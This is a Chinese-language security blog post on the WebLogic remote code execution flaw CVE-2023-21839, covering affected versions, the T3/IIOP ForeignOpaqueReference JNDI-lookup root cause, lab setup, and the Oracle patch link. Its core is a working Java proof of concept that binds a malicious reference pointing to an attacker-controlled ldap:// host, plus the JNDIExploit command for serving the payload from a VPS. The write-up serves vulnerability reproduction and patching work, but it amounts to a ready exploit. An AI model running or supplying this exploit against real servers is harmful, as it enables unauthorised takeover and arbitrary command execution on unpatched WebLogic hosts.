Weblogic 远程代码执行漏洞(CVE-2023-21839)

漏洞描述

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

WebLogic存在远程代码执行漏洞,未经授权的攻击者利用此漏洞通告T3、IIOP协议构造恶意请求发送给WebLogic服务器,成功利用此漏洞后攻击者可以接管WebLogic服务器,并执行任意命令。

影响范围

  • WebLogic_Server = 12.2.1.3.0
  • WebLogic_Server = 12.2.1.4.0
  • WebLogic_Server = 14.1.1.0.0

漏洞危害

攻击者成功利用此漏洞后攻击者可以接管WebLogic服务器,并执行任意命令。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

复现环境

WebLogic_Server = 12.2.1.3.0
环境搭建参考:https://blog.csdn.net/qq_41979593/article/details/123780213
注意:
可能某些搭建的实验环境无法复现,因为JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类
在2018年10月Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要小于jdk 8u191 (推荐8u112)。

漏洞利用POC

需要引入weblogic.jar
注意:weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要通过执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录为 D:\Program\weblogic-10.3.6):

D:
cd D:\Program\weblogic-10.3.6\wlserver\server\lib
java -jar D:\Program\weblogic-10.3.6\modules\com.bea.core.jarbuilder_1.7.0.0.jar

执行完成后,会在控制台看到输出信息,最后一行是生成的 wlfullclient.jar 就是我们需要引用的 jar 包了

关于如何导入本地jar文件参考文章:https://blog.csdn.net/grq15203514615/article/details/126966572

Poc如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class BindRce {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
       InitialContext c=getInitialContext("t3://127.0.0.1:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();
      
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
        c.bind("xxxx",f);
        c.lookup("xxx");    }
}

image

公网开放LDAP和WEB服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vpsIP

image

T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。
数据包长这样

复现成功
image

修复方案

厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

posted @ 2023-01-18 15:04  小阿辉谈安全  阅读(639)  评论(0编辑  收藏  举报